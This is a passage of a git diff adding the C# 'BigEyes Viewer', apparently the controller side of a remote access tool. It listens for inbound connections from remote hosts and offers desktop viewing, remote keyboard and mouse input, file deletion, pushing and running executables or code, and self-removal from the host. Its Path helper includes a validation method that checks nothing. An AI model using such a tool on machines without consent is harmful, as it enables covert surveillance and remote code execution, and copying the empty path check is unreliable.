+ public static readonly char VolumeSeparatorChar = ':';
+
+ // Methods
+ public static string ChangeExtension(string path, string extension)
+ {
+ if (path == null)
+ {
+ return null;
+ }
+ CheckInvalidPathChars(path);
+ string str = path;
+ int length = path.Length;
+ while (--length >= 0)
+ {
+ char ch = path[length];
+ if (ch == '.')
+ {
+ str = path.Substring(0, length);
+ break;
+ }
+ if (((ch == DirectorySeparatorChar) || (ch == AltDirectorySeparatorChar)) || (ch == VolumeSeparatorChar))
+ {
+ break;
+ }
+ }
+ if ((extension == null) || (path.Length == 0))
+ {
+ return str;
+ }
+ if ((extension.Length == 0) || (extension[0] != '.'))
+ {
+ str = str + ".";
+ }
+ return (str + extension);
+ }
+ private static bool CharArrayStartsWithOrdinal(char[] array, int numChars, string compareTo, bool ignoreCase)
+ {
+ if (numChars < compareTo.Length)
+ {
+ return false;
+ }
+ if (ignoreCase)
+ {
+ string str = new string(array, 0, compareTo.Length);
+ return compareTo.Equals(str, StringComparison.OrdinalIgnoreCase);
+ }
+ for (int i = 0; i < compareTo.Length; i++)
+ {
+ if (array[i] != compareTo[i])
+ {
+ return false;
+ }
+ }
+ return true;
+ }
+
+ internal static void CheckInvalidPathChars(string path)
+ {
+ for (int i = 0; i < path.Length; i++)
+ {
+ int num2 = path[i];
+ }
+ }
+
+ internal static void CheckSearchPattern(string searchPattern)
+ {
+ int num;
+ while ((num = searchPattern.IndexOf("..", StringComparison.Ordinal)) != -1)
+ {
+ searchPattern = searchPattern.Substring(num + 2);
+ }
+ }
+
+ public static string Combine(string path1, string path2)
+ {
+ if ((path1 == null) || (path2 == null))
+ {
+ throw new ArgumentNullException((path1 == null) ? "path1" : "path2");
+ }
+ CheckInvalidPathChars(path1);
+ CheckInvalidPathChars(path2);
+ if (path2.Length == 0)
+ {
+ return path1;
+ }
+ if (path1.Length == 0)
+ {
+ return path2;
+ }
+ if (IsPathRooted(path2))
+ {
+ return path2;
+ }
+ char ch = path1[path1.Length - 1];
+ if (((ch != DirectorySeparatorChar) && (ch != AltDirectorySeparatorChar)) && (ch != VolumeSeparatorChar))
+ {
+ return (path1 + DirectorySeparatorChar + path2);
+ }
+ return (path1 + path2);
+ }
+
+
+
+ public static string GetDirectoryName(string path)
+ {
+ if (path != null)
+ {
+ CheckInvalidPathChars(path);
+ int rootLength = GetRootLength(path);
+ if (path.Length > rootLength)
+ {
+ int length = path.Length;
+ if (length == rootLength)
+ {
+ return null;
+ }
+ while (((length > rootLength) && (path[--length] != DirectorySeparatorChar)) && (path[length] != AltDirectorySeparatorChar))
+ {
+ }
+ return path.Substring(0, length);
+ }
+ }
+ return null;
+ }
+
+ public static string GetExtension(string path)
+ {
+ if (path == null)
+ {
+ return null;
+ }
+ CheckInvalidPathChars(path);
+ int length = path.Length;
+ int startIndex = length;
+ while (--startIndex >= 0)
+ {
+ char ch = path[startIndex];
+ if (ch == '.')
+ {
+ if (startIndex != (length - 1))
+ {
+ return path.Substring(startIndex, length - startIndex);
+ }
+ return string.Empty;
+ }
+ if (((ch == DirectorySeparatorChar) || (ch == AltDirectorySeparatorChar)) || (ch == VolumeSeparatorChar))
+ {
+ break;
+ }
+ }
+ return string.Empty;
+ }
+
+ public static string GetFileName(string path)
+ {
+ if (path != null)
+ {
+ CheckInvalidPathChars(path);
+ int length = path.Length;
+ int num2 = length;
+ while (--num2 >= 0)
+ {
+ char ch = path[num2];
+ if (((ch == DirectorySeparatorChar) || (ch == AltDirectorySeparatorChar)) || (ch == VolumeSeparatorChar))
+ {
+ return path.Substring(num2 + 1, (length - num2) - 1);
+ }
+ }
+ }
+ return path;
+ }
+
+ public static string GetFileNameWithoutExtension(string path)
+ {
+ path = GetFileName(path);
+ if (path == null)
+ {
+ return null;
+ }
+ int length = path.LastIndexOf('.');
+ if (length == -1)
+ {
+ return path;
+ }
+ return path.Substring(0, length);
+ }
+
+
+
+
+ public static char[] GetInvalidFileNameChars()
+ {
+ return (char[])InvalidFileNameChars.Clone();
+ }
+
+ public static char[] GetInvalidPathChars()
+ {
+ return (char[])RealInvalidPathChars.Clone();
+ }
+
+ public static string GetPathRoot(string path)
+ {
+ if (path == null)
+ {
+ return null;
+ }
+ return path.Substring(0, GetRootLength(path));
+ }
+
+
+ internal static int GetRootLength(string path)
+ {
+ CheckInvalidPathChars(path);
+ int num = 0;
+ int length = path.Length;
+ if ((length >= 1) && IsDirectorySeparator(path[0]))
+ {
+ num = 1;
+ if ((length >= 2) && IsDirectorySeparator(path[1]))
+ {
+ num = 2;
+ int num3 = 2;
+ while ((num < length) && (((path[num] != DirectorySeparatorChar) && (path[num] != AltDirectorySeparatorChar)) || (--num3 > 0)))
+ {
+ num++;
+ }
+ }
+ return num;
+ }
+ if ((length >= 2) && (path[1] == VolumeSeparatorChar))
+ {
+ num = 2;
+ if ((length >= 3) && IsDirectorySeparator(path[2]))
+ {
+ num++;
+ }
+ }
+ return num;
+ }
+
+
+ public static bool HasExtension(string path)
+ {
+ if (path != null)
+ {
+ CheckInvalidPathChars(path);
+ int length = path.Length;
+ while (--length >= 0)
+ {
+ char ch = path[length];
+ if (ch == '.')
+ {
+ return (length != (path.Length - 1));
+ }
+ if (((ch == DirectorySeparatorChar) || (ch == AltDirectorySeparatorChar)) || (ch == VolumeSeparatorChar))
+ {
+ break;
+ }
+ }
+ }
+ return false;
+ }
+
+ internal static string InternalCombine(string path1, string path2)
+ {
+ if ((path1 == null) || (path2 == null))
+ {
+ throw new ArgumentNullException((path1 == null) ? "path1" : "path2");
+ }
+ CheckInvalidPathChars(path1);
+ CheckInvalidPathChars(path2);
+
+ int length = path1.Length;
+ if (length == 0)
+ {
+ return path2;
+ }
+ char ch = path1[length - 1];
+ if (((ch != DirectorySeparatorChar) && (ch != AltDirectorySeparatorChar)) && (ch != VolumeSeparatorChar))
+ {
+ return (path1 + DirectorySeparatorChar + path2);
+ }
+ return (path1 + path2);
+ }
+
+ internal static bool IsDirectorySeparator(char c)
+ {
+ if (c != DirectorySeparatorChar)
+ {
+ return (c == AltDirectorySeparatorChar);
+ }
+ return true;
+ }
+
+ public static bool IsPathRooted(string path)
+ {
+ if (path != null)
+ {
+ CheckInvalidPathChars(path);
+ int length = path.Length;
+ if (((length >= 1) && ((path[0] == DirectorySeparatorChar) || (path[0] == AltDirectorySeparatorChar))) || ((length >= 2) && (path[1] == VolumeSeparatorChar)))
+ {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ }
+}
diff --git a/Viewer/Search.ico b/Viewer/Search.ico
new file mode 100644
index 0000000..4c61305
--- /dev/null
+++ b/Viewer/Search.ico
Binary files differ
diff --git a/Viewer/Viewer.csproj b/Viewer/Viewer.csproj
new file mode 100644
index 0000000..7be105d
--- /dev/null
+++ b/Viewer/Viewer.csproj
@@ -0,0 +1,116 @@
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+ <PropertyGroup>
+ <ProjectType>Local</ProjectType>
+ <ProductVersion>8.0.50727</ProductVersion>
+ <SchemaVersion>2.0</SchemaVersion>
+ <ProjectGuid>{730E2B50-1CF7-4879-82E0-6997CB7C43A5}</ProjectGuid>
+ <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+ <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+ <ApplicationIcon>Search.ico</ApplicationIcon>
+ <AssemblyKeyContainerName>
+ </AssemblyKeyContainerName>
+ <AssemblyName>Viewer</AssemblyName>
+ <AssemblyOriginatorKeyFile>
+ </AssemblyOriginatorKeyFile>
+ <DefaultClientScript>JScript</DefaultClientScript>
+ <DefaultHTMLPageLayout>Grid</DefaultHTMLPageLayout>
+ <DefaultTargetSchema>IE50</DefaultTargetSchema>
+ <DelaySign>false</DelaySign>
+ <OutputType>WinExe</OutputType>
+ <RootNamespace>BigEyes.Viewer</RootNamespace>
+ <RunPostBuildEvent>OnBuildSuccess</RunPostBuildEvent>
+ <StartupObject>
+ </StartupObject>
+ <FileUpgradeFlags>
+ </FileUpgradeFlags>
+ <UpgradeBackupLocation>
+ </UpgradeBackupLocation>
+ </PropertyGroup>
+ <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+ <OutputPath>bin\Debug\</OutputPath>
+ <AllowUnsafeBlocks>false</AllowUnsafeBlocks>
+ <BaseAddress>285212672</BaseAddress>
+ <CheckForOverflowUnderflow>false</CheckForOverflowUnderflow>
+ <ConfigurationOverrideFile>
+ </ConfigurationOverrideFile>
+ <DefineConstants>DEBUG;TRACE</DefineConstants>
+ <DocumentationFile>
+ </DocumentationFile>
+ <DebugSymbols>true</DebugSymbols>
+ <FileAlignment>4096</FileAlignment>
+ <NoStdLib>false</NoStdLib>
+ <NoWarn>
+ </NoWarn>
+ <Optimize>false</Optimize>
+ <RegisterForComInterop>false</RegisterForComInterop>
+ <RemoveIntegerChecks>false</RemoveIntegerChecks>
+ <TreatWarningsAsErrors>false</TreatWarningsAsErrors>
+ <WarningLevel>4</WarningLevel>
+ <DebugType>full</DebugType>
+ <ErrorReport>prompt</ErrorReport>
+ </PropertyGroup>
+ <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+ <OutputPath>bin\Release\</OutputPath>
+ <AllowUnsafeBlocks>false</AllowUnsafeBlocks>
+ <BaseAddress>285212672</BaseAddress>
+ <CheckForOverflowUnderflow>false</CheckForOverflowUnderflow>
+ <ConfigurationOverrideFile>
+ </ConfigurationOverrideFile>
+ <DefineConstants>TRACE</DefineConstants>
+ <DocumentationFile>
+ </DocumentationFile>
+ <DebugSymbols>false</DebugSymbols>
+ <FileAlignment>4096</FileAlignment>
+ <NoStdLib>false</NoStdLib>
+ <NoWarn>
+ </NoWarn>
+ <Optimize>true</Optimize>
+ <RegisterForComInterop>false</RegisterForComInterop>
+ <RemoveIntegerChecks>false</RemoveIntegerChecks>
+ <TreatWarningsAsErrors>false</TreatWarningsAsErrors>
+ <WarningLevel>4</WarningLevel>
+ <DebugType>none</DebugType>
+ <ErrorReport>prompt</ErrorReport>
+ </PropertyGroup>
+ <ItemGroup>
+ <Reference Include="System">
+ <Name>System</Name>
+ </Reference>
+ <Reference Include="System.Data">
+ <Name>System.Data</Name>
+ </Reference>
+ <Reference Include="System.Drawing">
+ <Name>System.Drawing</Name>
+ </Reference>
+ <Reference Include="System.Windows.Forms">
+ <Name>System.Windows.Forms</Name>
+ </Reference>
+ <Reference Include="System.Xml">
+ <Name>System.XML</Name>
+ </Reference>
+ </ItemGroup>
+ <ItemGroup>
+ <EmbeddedResource Include="BigEyes.cs" />
+ <Compile Include="Client.cs">
+ <SubType>Code</SubType>
+ </Compile>
+ <Compile Include="Path.cs" />
+ <Compile Include="ViewerForm.cs">
+ <SubType>Form</SubType>
+ </Compile>
+ <EmbeddedResource Include="ViewerForm.resx">
+ <DependentUpon>ViewerForm.cs</DependentUpon>
+ <SubType>Designer</SubType>
+ </EmbeddedResource>
+ </ItemGroup>
+ <ItemGroup>
+ <Content Include="Search.ico" />
+ </ItemGroup>
+ <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+ <PropertyGroup>
+ <PreBuildEvent>
+ </PreBuildEvent>
+ <PostBuildEvent>
+ </PostBuildEvent>
+ </PropertyGroup>
+</Project> \ No newline at end of file
diff --git a/Viewer/ViewerForm.cs b/Viewer/ViewerForm.cs
new file mode 100644
index 0000000..b315ec5
--- /dev/null
+++ b/Viewer/ViewerForm.cs
@@ -0,0 +1,759 @@
+using System;
+using System.Drawing;
+using System.Collections;
+using System.ComponentModel;
+using System.Windows.Forms;
+using System.IO;
+
+namespace BigEyes.Viewer
+{
+ public class ViewerForm : System.Windows.Forms.Form
+ {
+ private System.ComponentModel.Container components = null;
+ private System.Windows.Forms.ListBox listBox1;
+ private System.Windows.Forms.SaveFileDialog saveFileDialog1;
+ private string _curDir;
+ private System.Windows.Forms.OpenFileDialog openFileDialog1;
+ private System.Windows.Forms.GroupBox groupBox2;
+ private System.Windows.Forms.CheckBox checkBox1;
+ private System.Windows.Forms.Button button1;
+ private System.Windows.Forms.TabControl tabControl1;
+ private System.Windows.Forms.TabPage tabPage1;
+ private System.Windows.Forms.PictureBox pictureBox1;
+ private System.Windows.Forms.TabPage tabPage2;
+ private System.Windows.Forms.GroupBox groupBox1;
+ private System.Windows.Forms.Button button2;
+ private System.Windows.Forms.CheckBox checkBox2;
+ private System.Windows.Forms.TextBox textBox1;
+ private System.Windows.Forms.ContextMenu contextMenu1;
+ private System.Windows.Forms.MenuItem menuItem1;
+ private System.Windows.Forms.MenuItem menuItem2;
+ private System.Windows.Forms.GroupBox groupBox3;
+ private System.Windows.Forms.Button button3;
+ private Client c;
+ private TabPage tabPage3;
+ private Panel panel1;
+ private Label label2;
+ private CheckBox checkBox3;
+ private GroupBox groupBox4;
+ private ListBox listBox2;
+ private Button button4;
+ private CheckBox checkBox4;
+ private System.Threading.Thread _formsThread;
+ private string _matrixText;
+ [STAThread]
+ public static void Main(string[] args)
+ {
+ Application.EnableVisualStyles();
+ Application.DoEvents();
+ Application.Run(new ViewerForm());
+ }
+ public ViewerForm()
+ {
+ InitializeComponent();
+ _formsThread = System.Threading.Thread.CurrentThread;
+ this.SetStyle(ControlStyles.UserPaint,true);
+ this.SetStyle(ControlStyles.AllPaintingInWmPaint,true);
+ this.SetStyle(ControlStyles.DoubleBuffer,true);
+ c = new Client(2201);
+ c.DesktopImage+=new BigEyes.Viewer.Client.DesktopImageArgs(c_DesktopImage);
+ c.Directory+=new BigEyes.Viewer.Client.DirectoryArgs(c_Directory);
+ c.File+=new BigEyes.Viewer.Client.FileArgs(c_File);
+ c.ReceivedConnection += new Client.ReceivedConnectionArgs(c_ReceivedConnection);
+ c.Error+=new Client.ErrorArgs(c_Error);
+ c.Start();
+ }
+ protected override void Dispose( bool disposing )
+ {
+ if( disposing )
+ {
+ if(components != null)
+ {
+ components.Dispose();
+ }
+ }
+ base.Dispose( disposing );
+ }
+ private void InitializeComponent()
+ {
+ System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ViewerForm));
+ this.listBox1 = new System.Windows.Forms.ListBox();
+ this.contextMenu1 = new System.Windows.Forms.ContextMenu();
+ this.menuItem1 = new System.Windows.Forms.MenuItem();
+ this.menuItem2 = new System.Windows.Forms.MenuItem();
+ this.saveFileDialog1 = new System.Windows.Forms.SaveFileDialog();
+ this.openFileDialog1 = new System.Windows.Forms.OpenFileDialog();
+ this.groupBox2 = new System.Windows.Forms.GroupBox();
+ this.button1 = new System.Windows.Forms.Button();
+ this.checkBox1 = new System.Windows.Forms.CheckBox();
+ this.tabControl1 = new System.Windows.Forms.TabControl();
+ this.tabPage1 = new System.Windows.Forms.TabPage();
+ this.pictureBox1 = new System.Windows.Forms.PictureBox();
+ this.panel1 = new System.Windows.Forms.Panel();
+ this.label2 = new System.Windows.Forms.Label();
+ this.checkBox4 = new System.Windows.Forms.CheckBox();
+ this.checkBox3 = new System.Windows.Forms.CheckBox();
+ this.tabPage2 = new System.Windows.Forms.TabPage();
+ this.groupBox3 = new System.Windows.Forms.GroupBox();
+ this.button3 = new System.Windows.Forms.Button();
+ this.groupBox1 = new System.Windows.Forms.GroupBox();
+ this.textBox1 = new System.Windows.Forms.TextBox();
+ this.button2 = new System.Windows.Forms.Button();
+ this.checkBox2 = new System.Windows.Forms.CheckBox();
+ this.tabPage3 = new System.Windows.Forms.TabPage();
+ this.groupBox4 = new System.Windows.Forms.GroupBox();
+ this.button4 = new System.Windows.Forms.Button();
+ this.listBox2 = new System.Windows.Forms.ListBox();
+ this.groupBox2.SuspendLayout();
+ this.tabControl1.SuspendLayout();
+ this.tabPage1.SuspendLayout();
+ ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
+ this.panel1.SuspendLayout();
+ this.tabPage2.SuspendLayout();
+ this.groupBox3.SuspendLayout();
+ this.groupBox1.SuspendLayout();
+ this.groupBox4.SuspendLayout();
+ this.SuspendLayout();
+ //
+ // listBox1
+ //
+ this.listBox1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
+ | System.Windows.Forms.AnchorStyles.Left)
+ | System.Windows.Forms.AnchorStyles.Right)));
+ this.listBox1.ContextMenu = this.contextMenu1;
+ this.listBox1.Location = new System.Drawing.Point(0, 0);
+ this.listBox1.Name = "listBox1";
+ this.listBox1.Size = new System.Drawing.Size(544, 459);
+ this.listBox1.TabIndex = 2;
+ this.listBox1.DoubleClick += new System.EventHandler(this.listBox1_DoubleClick);
+ this.listBox1.MouseDown += new System.Windows.Forms.MouseEventHandler(this.listBox1_MouseDown);
+ //
+ // contextMenu1
+ //
+ this.contextMenu1.MenuItems.AddRange(new System.Windows.Forms.MenuItem[] {
+ this.menuItem1,
+ this.menuItem2});
+ //
+ // menuItem1
+ //
+ this.menuItem1.DefaultItem = true;
+ this.menuItem1.Index = 0;
+ this.menuItem1.Text = "&Open";
+ this.menuItem1.Click += new System.EventHandler(this.listBox1_DoubleClick);
+ //
+ // menuItem2
+ //
+ this.menuItem2.Index = 1;
+ this.menuItem2.Text = "&Delete";
+ this.menuItem2.Click += new System.EventHandler(this.menuItem2_Click);
+ //
+ // saveFileDialog1
+ //
+ this.saveFileDialog1.Title = "Save File As...";
+ //
+ // openFileDialog1
+ //
+ this.openFileDialog1.Filter = "Programs|*.exe";
+ this.openFileDialog1.Title = "Choose Program To Push";
+ //
+ // groupBox2
+ //
+ this.groupBox2.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));
+ this.groupBox2.Controls.Add(this.button1);
+ this.groupBox2.Controls.Add(this.checkBox1);
+ this.groupBox2.FlatStyle = System.Windows.Forms.FlatStyle.System;
+ this.groupBox2.Location = new System.Drawing.Point(552, 8);
+ this.groupBox2.Name = "groupBox2";
+ this.groupBox2.Size = new System.Drawing.Size(224, 88);
+ this.groupBox2.TabIndex = 3;
+ this.groupBox2.TabStop = false;
+ this.groupBox2.Text = "Push and Run Executable to Current Dir";
+ //
+ // button1
+ //
+ this.button1.FlatStyle = System.Windows.Forms.FlatStyle.System;
+ this.button1.Location = new System.Drawing.Point(8, 40);
+ this.button1.Name = "button1";
+ this.button1.Size = new System.Drawing.Size(208, 40);
+ this.button1.TabIndex = 1;
+ this.button1.Text = "Choose and Run Program";
+ this.button1.Click += new System.EventHandler(this.button1_Click);
+ //
+ // checkBox1
+ //
+ this.checkBox1.FlatStyle = System.Windows.Forms.FlatStyle.System;
+ this.checkBox1.Location = new System.Drawing.Point(8, 16);
+ this.checkBox1.Name = "checkBox1";
+ this.checkBox1.Size = new System.Drawing.Size(200, 24);
+ this.checkBox1.TabIndex = 0;
+ this.checkBox1.Text = "Wait until program exit and delete file";
+ //
+ // tabControl1
+ //
+ this.tabControl1.Controls.Add(this.tabPage1);
+ this.tabControl1.Controls.Add(this.tabPage2);
+ this.tabControl1.Controls.Add(this.tabPage3);
+ this.tabControl1.Dock = System.Windows.Forms.DockStyle.Fill;
+ this.tabControl1.Location = new System.Drawing.Point(4, 4);
+ this.tabControl1.Name = "tabControl1";
+ this.tabControl1.SelectedIndex = 0;
+ this.tabControl1.Size = new System.Drawing.Size(792, 494);
+ this.tabControl1.TabIndex = 4;
+ this.tabControl1.SelectedIndexChanged += new System.EventHandler(this.tabControl1_SelectedIndexChanged);
+ //
+ // tabPage1
+ //
+ this.tabPage1.Controls.Add(this.pictureBox1);
+ this.tabPage1.Controls.Add(this.panel1);
+ this.tabPage1.Location = new System.Drawing.Point(4, 22);
+ this.tabPage1.Name = "tabPage1";
+ this.tabPage1.Size = new System.Drawing.Size(784, 468);
+ this.tabPage1.TabIndex = 0;
+ this.tabPage1.Text = "Desktop View";
+ //
+ // pictureBox1
+ //
+ this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill;
+ this.pictureBox1.Location = new System.Drawing.Point(0, 0);
+ this.pictureBox1.Name = "pictureBox1";
+ this.pictureBox1.Size = new System.Drawing.Size(784, 441);
+ this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
+ this.pictureBox1.TabIndex = 1;
+ this.pictureBox1.TabStop = false;
+ //
+ // panel1
+ //
+ this.panel1.Controls.Add(this.label2);
+ this.panel1.Controls.Add(this.checkBox4);
+ this.panel1.Controls.Add(this.checkBox3);
+ this.panel1.Dock = System.Windows.Forms.DockStyle.Bottom;
+ this.panel1.Location = new System.Drawing.Point(0, 441);
+ this.panel1.Name = "panel1";
+ this.panel1.Size = new System.Drawing.Size(784, 27);
+ this.panel1.TabIndex = 3;
+ //
+ // label2
+ //
+ this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));
+ this.label2.AutoSize = true;
+ this.label2.Location = new System.Drawing.Point(3, 7);
+ this.label2.Name = "label2";
+ this.label2.Size = new System.Drawing.Size(126, 13);
+ this.label2.TabIndex = 1;
+ this.label2.Text = "Image last updated: N/A.";
+ //
+ // checkBox4
+ //
+ this.checkBox4.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right)));
+ this.checkBox4.AutoSize = true;
+ this.checkBox4.Checked = true;
+ this.checkBox4.CheckState = System.Windows.Forms.CheckState.Checked;
+ this.checkBox4.Location = new System.Drawing.Point(480, 6);
+ this.checkBox4.Name = "checkBox4";
+ this.checkBox4.Size = new System.Drawing.Size(110, 17);
+ this.checkBox4.TabIndex = 0;
+ this.checkBox4.Text = "Enable local input";
+ this.checkBox4.UseVisualStyleBackColor = true;
+ this.checkBox4.CheckedChanged += new System.EventHandler(this.checkBox4_CheckedChanged);
+ //
+ // checkBox3
+ //
+ this.checkBox3.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right)));
+ this.checkBox3.AutoSize = true;
+ this.checkBox3.Location = new System.Drawing.Point(602, 6);
+ this.checkBox3.Name = "checkBox3";
+ this.checkBox3.Size = new System.Drawing.Size(179, 17);
+ this.checkBox3.TabIndex = 0;
+ this.checkBox3.Text = "Send keyboard and mouse input";
+ this.checkBox3.UseVisualStyleBackColor = true;
+ //
+ // tabPage2
+ //
+ this.tabPage2.Controls.Add(this.groupBox3);
+ this.tabPage2.Controls.Add(this.groupBox1);
+ this.tabPage2.Controls.Add(this.listBox1);
+ this.tabPage2.Controls.Add(this.groupBox2);
+ this.tabPage2.Location = new System.Drawing.Point(4, 22);
+ this.tabPage2.Name = "tabPage2";
+ this.tabPage2.Size = new System.Drawing.Size(784, 468);
+ this.tabPage2.TabIndex = 1;
+ this.tabPage2.Text = "File Functions";
+ //
+ // groupBox3
+ //
+ this.groupBox3.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));
+ this.groupBox3.Controls.Add(this.button3);
+ this.groupBox3.FlatStyle = System.Windows.Forms.FlatStyle.System;
+ this.groupBox3.Location = new System.Drawing.Point(552, 104);
+ this.groupBox3.Name = "groupBox3";
+ this.groupBox3.Size = new System.Drawing.Size(224, 64);
+ this.groupBox3.TabIndex = 5;
+ this.groupBox3.TabStop = false;
+ this.groupBox3.Text = "Remove Big Eyes From Current Host";
+ //
+ // button3
+ //
+ this.button3.FlatStyle = System.Windows.Forms.FlatStyle.System;
+ this.button3.Location = new System.Drawing.Point(8, 16);
+ this.button3.Name = "button3";
+ this.button3.Size = new System.Drawing.Size(208, 40);
+ this.button3.TabIndex = 1;
+ this.button3.Text = "Delete Big Eyes EXE and Close Program";
+ this.button3.Click += new System.EventHandler(this.button3_Click);
+ //
+ // groupBox1
+ //
+ this.groupBox1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
+ | System.Windows.Forms.AnchorStyles.Right)));
+ this.groupBox1.Controls.Add(this.textBox1);
+ this.groupBox1.Controls.Add(this.button2);
+ this.groupBox1.Controls.Add(this.checkBox2);
+ this.groupBox1.FlatStyle = System.Windows.Forms.FlatStyle.System;
+ this.groupBox1.Location = new System.Drawing.Point(552, 176);
+ this.groupBox1.Name = "groupBox1";
+ this.groupBox1.Size = new System.Drawing.Size(224, 288);
+ this.groupBox1.TabIndex = 4;
+ this.groupBox1.TabStop = false;
+ this.groupBox1.Text = "Push and Run Code to Current Dir";
+ //
+ // textBox1
+ //
+ this.textBox1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
+ | System.Windows.Forms.AnchorStyles.Left)
+ | System.Windows.Forms.AnchorStyles.Right)));
+ this.textBox1.Location = new System.Drawing.Point(8, 40);
+ this.textBox1.Multiline = true;
+ this.textBox1.Name = "textBox1";
+ this.textBox1.ScrollBars = System.Windows.Forms.ScrollBars.Vertical;
+ this.textBox1.Size = new System.Drawing.Size(208, 192);
+ this.textBox1.TabIndex = 2;
+ this.textBox1.Text = "using System;\r\npublic class PushClass\r\n{\r\npublic static void Main(string[] args)\r" +
+ "\n{\r\n//Code here...\r\n}\r\n}";
+ //
+ // button2
+ //
+ this.button2.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));
+ this.button2.FlatStyle = System.Windows.Forms.FlatStyle.System;
+ this.button2.Location = new System.Drawing.Point(8, 240);
+ this.button2.Name = "button2";
+ this.button2.Size = new System.Drawing.Size(208, 40);
+ this.button2.TabIndex = 1;
+ this.button2.Text = "Run Code";
+ this.button2.Click += new System.EventHandler(this.button2_Click);
+ //
+ // checkBox2
+ //
+ this.checkBox2.Checked = true;
+ this.checkBox2.CheckState = System.Windows.Forms.CheckState.Checked;
+ this.checkBox2.FlatStyle = System.Windows.Forms.FlatStyle.System;
+ this.checkBox2.Location = new System.Drawing.Point(8, 16);
+ this.checkBox2.Name = "checkBox2";
+ this.checkBox2.Size = new System.Drawing.Size(200, 24);
+ this.checkBox2.TabIndex = 0;
+ this.checkBox2.Text = "Wait until program exit and delete file";
+ //
+ // tabPage3
+ //
+ this.tabPage3.BackColor = System.Drawing.Color.Black;
+ this.tabPage3.Location = new System.Drawing.Point(4, 22);
+ this.tabPage3.Name = "tabPage3";
+ this.tabPage3.Padding = new System.Windows.Forms.Padding(3);
+ this.tabPage3.Size = new System.Drawing.Size(784, 468);
+ this.tabPage3.TabIndex = 2;
+ this.tabPage3.Text = "Matrix";
+ this.tabPage3.Paint += new System.Windows.Forms.PaintEventHandler(this.tabPage3_Paint);
+ //
+ // groupBox4
+ //
+ this.groupBox4.Controls.Add(this.button4);
+ this.groupBox4.Controls.Add(this.listBox2);
+ this.groupBox4.Dock = System.Windows.Forms.DockStyle.Fill;
+ this.groupBox4.Location = new System.Drawing.Point(4, 4);
+ this.groupBox4.Name = "groupBox4";
+ this.groupBox4.Size = new System.Drawing.Size(792, 494);
+ this.groupBox4.TabIndex = 4;
+ this.groupBox4.TabStop = false;
+ this.groupBox4.Text = "Inbound Connection Requests";
+ //
+ // button4
+ //
+ this.button4.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right)));
+ this.button4.Enabled = false;
+ this.button4.Location = new System.Drawing.Point(610, 464);
+ this.button4.Name = "button4";
+ this.button4.Size = new System.Drawing.Size(176, 24);
+ this.button4.TabIndex = 1;
+ this.button4.Text = "&Connect To Selected Server";
+ this.button4.UseVisualStyleBackColor = true;
+ this.button4.Click += new System.EventHandler(this.listBox2_DoubleClick);
+ //
+ // listBox2
+ //
+ this.listBox2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
+ | System.Windows.Forms.AnchorStyles.Left)
+ | System.Windows.Forms.AnchorStyles.Right)));
+ this.listBox2.DisplayMember = "RemoteEndPoint";
+ this.listBox2.FormattingEnabled = true;
+ this.listBox2.Location = new System.Drawing.Point(6, 19);
+ this.listBox2.Name = "listBox2";
+ this.listBox2.Size = new System.Drawing.Size(780, 433);
+ this.listBox2.TabIndex = 0;
+ this.listBox2.ValueMember = "LocalEndPoint";
+ this.listBox2.DoubleClick += new System.EventHandler(this.listBox2_DoubleClick);
+ this.listBox2.SelectedIndexChanged += new System.EventHandler(this.listBox2_SelectedIndexChanged);
+ this.listBox2.MouseDown += new System.Windows.Forms.MouseEventHandler(this.listBox2_MouseDown);
+ //
+ // ViewerForm
+ //
+ this.AutoScaleBaseSize = new System.Drawing.Size(5, 13);
+ this.ClientSize = new System.Drawing.Size(800, 502);
+ this.Controls.Add(this.groupBox4);
+ this.Controls.Add(this.tabControl1);
+ this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
+ this.MinimumSize = new System.Drawing.Size(350, 450);
+ this.Name = "ViewerForm";
+ this.Padding = new System.Windows.Forms.Padding(4);
+ this.SizeGripStyle = System.Windows.Forms.SizeGripStyle.Show;
+ this.Text = "BigEyes Viewer";
+ this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.ViewerForm_FormClosing);
+ this.groupBox2.ResumeLayout(false);
+ this.tabControl1.ResumeLayout(false);
+ this.tabPage1.ResumeLayout(false);
+ ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
+ this.panel1.ResumeLayout(false);
+ this.panel1.PerformLayout();
